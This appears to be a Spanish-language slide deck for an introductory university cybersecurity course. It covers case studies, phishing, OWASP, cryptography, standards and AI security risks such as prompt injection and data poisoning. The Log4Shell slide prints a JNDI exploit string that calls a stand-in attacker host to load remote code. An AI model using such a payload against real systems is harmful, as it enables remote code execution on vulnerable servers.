UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

SEGURIDAD INFORMÁTICA

Licenciatura en Ciencia de Datos · 2do Año · 1er Cuatrimestre 2026

Proteger la información en un mundo digital es responsabilidad de todos.

CIA Triad | Criptografía | Ethical Hacking | ISO 27001 | OWASP

🧊 ICE BREAKER

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

¡Rompamos el hielo!

🎯 La Actividad

Compartí en 30 segundos:

1. Tu nombre
2. Una tecnología que usás todos los días
3. ¿Alguna vez te hackearon o conocés a alguien que sí?
4. ¿Qué uso le das a la IA?

💡 Para pensar…

1. ¿Cuántas contraseñas usás habitualmente?

2. ¿Usás la misma contraseña en varios servicios?

3. ¿Sabés qué datos tuyos están en internet?

No hay respuestas correctas ni incorrectas — ¡solo honestidad!

PROGRAMA 2026

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Programa de la Materia

I — Fundamentos de la Seguridad de la Información

II — Desafíos de Seguridad para los Usuarios

III — Seguridad Ofensiva

IV — Seguridad Defensiva

V — Introducción a la Criptografía

VI — Normativas y Estándares (ISO 27001 · NIST)

VII — Seguridad de Inteligencia Artificial

68 hs · 17 semanas · 2 parciales · Recursos en el Campus de CAECE

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

¿Por qué importa la Seguridad Informática?

$8T

Costo global del cibercrimen en 2023

4.5B

Registros de datos expuestos en 2023

95%

De las brechas se deben a error humano

En Argentina, los ataques de ransomware crecieron un 70% en el último año.
Cada 39 segundos ocurre un ciberataque en algún lugar del mundo.

CASO REAL #1 · 2021

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Log4Shell (CVE-2021-44228)

La vulnerabilidad más crítica de la última década

🔍 ¿Qué pasó?

Apache Log4j es una librería de logging usada en millones de sistemas Java. Un atacante podía ejecutar código remoto simplemente enviando una cadena de texto maliciosa en un campo de búsqueda o encabezado HTTP.

📊 Impacto

Afectó a Apple, Twitter, Amazon, Tesla, Minecraft y miles de empresas más. CVSS Score: 10.0 (el máximo posible). Más de 800.000 intentos de explotación en las primeras 72 horas.

🛡️ Lección

Una sola librería desactualizada puede comprometer sistemas críticos globales. La gestión de dependencias y el parcheo rápido son fundamentales. SBOM (Software Bill of Materials) se volvió esencial.

`${jndi:ldap://attacker.com/exploit}` ← La cadena que lo desencadenó todo

CASO REAL #2 · 2020

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

SolarWinds SUNBURST

El mayor ataque a la cadena de suministro de software

2019 — Actores estatales (APT29/Rusia) infiltran los sistemas de build de SolarWinds.

Mar 2020 — Se distribuye la actualización maliciosa de Orion a ~18.000 organizaciones.

Dic 2020 — FireEye descubre el backdoor SUNBURST tras detectar herramientas internas comprometidas.

Dic 2020 — Se confirma la brecha en agencias del gobierno de EE.UU: Tesoro, CISA, Pentágono.

🎯 Supply Chain Attack: comprometés 1 ⟶ infectás miles

✅ Lección: Zero-trust + validación de integridad del software

CASO REAL #3 · 2023

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

MOVEit Transfer (CVE-2023-34362)

SQL Injection masiva que expuso datos de millones de personas

🐛 La Vulnerabilidad

SQL Injection en MOVEit Transfer (software de transferencia de archivos). El grupo Cl0p explotó un 0-day para ejecutar consultas maliciosas en bases de datos y extraer archivos sensibles.

🏢 Víctimas Globales

Más de 2.600 organizaciones afectadas: British Airways, Shell, BBC, gobierno de Noruega, universidades de EE.UU., y el sistema de pensiones de Nueva Escocia.

📈 Escala del Daño

Más de 83 millones de personas expuestas. Datos robados: nombres, seguridad social, números de cuentas. Costo estimado total: más de USD 9.900 millones.

🎓 Qué aprendemos

Vulnerabilidades en software de terceros son vectores críticos. El parcheo inmediato ante 0-days y el principio de mínimo privilegio habrían reducido enormemente el impacto.

ANÁLISIS COMPARATIVO

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Los 3 Casos: ¿Qué tienen en común?

Caso	Vector	Impacto	Lección Clave
Log4Shell 2021	Librería desactualizada	Millones de servidores expuestos globalmente	Gestión de dependencias y parcheo urgente
SolarWinds 2020	Cadena de suministro	18.000 organizaciones, gobierno de EE.UU.	Zero-trust, verificar integridad del software
MOVEit 2023	SQL Injection (0-day)	83M personas, 2.600 organizaciones	Mínimo privilegio + parches inmediatos

🔑 **Patrón común: software sin parchear + falta de defensa en profundidad + reacción tardía**

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Los 3 Pilares: La Triada CIA

C

Confidencialidad

Solo las personas autorizadas pueden acceder a la información.

Ejemplo: Tus mensajes de WhatsApp solo los ves vos y el destinatario.

I

Integridad

La información no puede ser modificada sin autorización.

Ejemplo: Un registro médico no puede ser alterado por un tercero.

A

Disponibilidad

Los sistemas deben estar operativos cuando se los necesita.

Ejemplo: Un banco online debe funcionar 24/7.

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

El Ecosistema de Amenazas

Malware

Virus, ransomware, trojanos, spyware. Software diseñado para dañar o robar.

Phishing

Engaños por email/SMS para robar credenciales o datos bancarios.

Ingeniería Social

Manipulación psicológica para que la víctima entregue información.

DDoS

Ataques que saturan servidores dejándolos sin servicio.

Exploits

Aprovechan vulnerabilidades en software para ganar acceso no autorizado.

Insider Threat

Amenazas internas: empleados malintencionados o negligentes.

go to Unidad 1 - Conceptos Seguridad 2026

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Phishing & Ingeniería Social

🎣 Anatomía de un Phishing

1. El atacante crea un email falso imitando a tu banco
2. Te crea urgencia: 'Tu cuenta será bloqueada en 24h'
3. Incluye un link que parece legítimo pero no lo es
4. Lleva a una web idéntica a la real
5. Ingresás tus credenciales → ¡Robadas!

🛡️ Cómo protegerse

- ✓ Verificá siempre el dominio del remitente
- ✓ No hacés clic en links de emails urgentes
- ✓ Activá autenticación de 2 factores (2FA)
- ✓ Usá un gestor de contraseñas
- ✓ Desconfiá de lo que parece demasiado urgente

Hacking Ético: Atacar para Defender

Fases del Pentesting:

1. Reconocimiento
2. Escaneo
3. Explotación
4. Post-Explotación
5. Reporte

⚫ Black Hat

Atacantes maliciosos. Buscan robar, dañar o extorsionar.

⬜ White Hat

Hackers éticos contratados para encontrar vulnerabilidades.

🩶 Grey Hat

Actúan sin permiso pero no siempre con malas intenciones.

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

OWASP Top 10
Vulnerabilidades Web más Críticas

A01	Broken Access Control
A02	Cryptographic Failures
A03	Injection (SQL, NoSQL, OS)
A04	Insecure Design
A05	Security Misconfiguration
A06	Vulnerable & Outdated Components
A07	Identification & Auth Failures
A08	Software & Data Integrity Failures
A09	Security Logging Failures
A10	SSRF

Fuente: owasp.org · Actualización 2021

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Defensa en Profundidad

Firewall

Filtra el tráfico de red según reglas definidas.

IDS / IPS

Detecta y bloquea intrusiones en tiempo real.

Antimalware

Escanea y elimina software malicioso.

SIEM

Centraliza logs y detecta comportamientos anómalos.

OSINT

Inteligencia de fuentes abiertas para anticipar amenazas.

Análisis Forense

Investiga incidentes post-ataque buscando evidencia.

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Malware: Tipos & Análisis

Ransomware

Cifra archivos y exige rescate (Bitcoin).

Virus

Se replica insertándose en otros archivos ejecutables.

Troyano

Aparenta ser legítimo pero ejecuta código malicioso.

Spyware

Espía al usuario y roba información sensible.

Botnet

Red de equipos zombie controlados remotamente.

Rootkit

Oculta su presencia en el sistema operativo.

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Criptografía: El Arte de Ocultar Información

Clave Simétrica

→ La misma clave cifra Y descifra

→ Algoritmos: DES, 3DES, AES

→ Más rápida, pero el intercambio de clave es un riesgo

→ Ideal para cifrar grandes volúmenes de datos

Clave Asimétrica

→ Par de claves: pública (cifra) y privada (descifra)

→ Algoritmos: RSA, ECC, Diffie-Hellman

→ Más lenta, pero resuelve el problema del intercambio

→ Base de HTTPS, firma digital, PKI

🔑 *Fun fact: RSA de 2048 bits tardaría miles de millones de años en romperse con computadoras clásicas.*

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

ISO 27001 & NIST: Estándares de Seguridad

ISO/IEC 27001:2022

- Marco para gestionar la seguridad de la información
- Define controles, políticas y procesos
- Requiere análisis de riesgos periódico
- Aplicable a cualquier tipo de organización
- Permite certificación internacional

NIST Cybersecurity Framework

IDENTIFY Conocé tus activos y riesgos

PROTECT Implementá salvaguardas

DETECT Identificá incidentes

RESPOND Actuá ante los eventos

RECOVER Restaurá los servicios

DATA SCIENCE + SECURITY

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Ciencia de Datos aplicada a la Ciberseguridad

Detección de Anomalías

Modelos de ML identifican comportamientos inusuales en logs y tráfico de red en tiempo real.

Filtros Anti-Spam/Phishing

Clasificadores NLP analizan el contenido de emails para detectar intentos de engaño.

Prevención de Fraude

Algoritmos de detección de fraude en transacciones bancarias y tarjetas de crédito.

Threat Intelligence

Análisis predictivo de campañas maliciosas usando datos históricos de ataques.

SIEM Inteligente

Correlación automática de eventos de seguridad para reducir falsos positivos.

Análisis Forense Digital

Minería de datos para reconstruir la línea de tiempo de un incidente.

SEGURIDAD DE IA

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Seguridad en Inteligencia Artificial

☠️ Adversarial Attacks

Entradas diseñadas para engañar modelos de ML. Ej: una imagen modificada pixel a pixel que hace que un auto sea clasificado como 'señal de pare'.

🕳️ Data Poisoning

El atacante contamina los datos de entrenamiento para que el modelo aprenda comportamientos incorrectos o peligrosos desde el origen.

💬 Prompt Injection

Instrucciones maliciosas insertadas en el input de un LLM para manipular su comportamiento, filtrar datos o evadir sus restricciones de seguridad.

⚠️ Otros Riesgos Clave

- Model Inversion: reconstruir datos de entrenamiento privados
- Membership Inference: detectar si un dato estuvo en el dataset
- Sesgo (Bias): decisiones injustas por datos sesgados

🛡️ Principios de IA Segura

- Explainability: los modelos deben ser interpretables
- Red-teaming: probar LLMs buscando comportamientos adversos
- Gobernanza: EU AI Act · NIST AI RMF · ISO/IEC 42001

"Un modelo de IA tan poderoso como vulnerable es igual de peligroso que un sistema sin parchear."

BUENAS PRÁCTICAS

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

Tu Decálogo de Seguridad Digital

1 — Contraseñas únicas y fuertes
Usá un gestor como Bitwarden o 1Password

2 — Activá el 2FA siempre
Google Authenticator, SMS o llave física

3 — Actualizá todo
Sistemas, apps, drivers y firmware

4 — Desconfiá de lo urgente
Phishing abusa de la urgencia y el miedo

5 — Cifrá tus datos sensibles
VeraCrypt, BitLocker, FileVault

6 — Red Wi-Fi pública = riesgo
Usá VPN en redes desconocidas

7 — Backups 3-2-1
3 copias, 2 medios distintos, 1 offsite

8 — Revisá permisos de apps
¿Para qué necesita ubicación una linterna?

9 — Verificá URLs antes de clicar
Hover sobre el link antes de abrirlo

10 — Educación continua
El factor humano es el eslabón más débil

Conclusiones

UNIVERSIDAD CAECE
Cámara Argentina de Comercio y Servicios

🌐 La seguridad informática no es solo tecnología — es cultura, procesos y personas.

⚡ Las amenazas evolucionan constantemente; el aprendizaje continuo es obligatorio.

🔗 La Ciencia de Datos potencia enormemente las capacidades defensivas y de detección.

🤝 El 95% de las brechas involucra error humano: educar es la mejor defensa.

🤖 La IA introduce nuevos vectores (prompt injection, poisoning): la seguridad debe evolucionar.

"La seguridad perfecta no existe, pero la negligencia es imperdonable." · Seguridad Informática 2026 · Universidad CAECE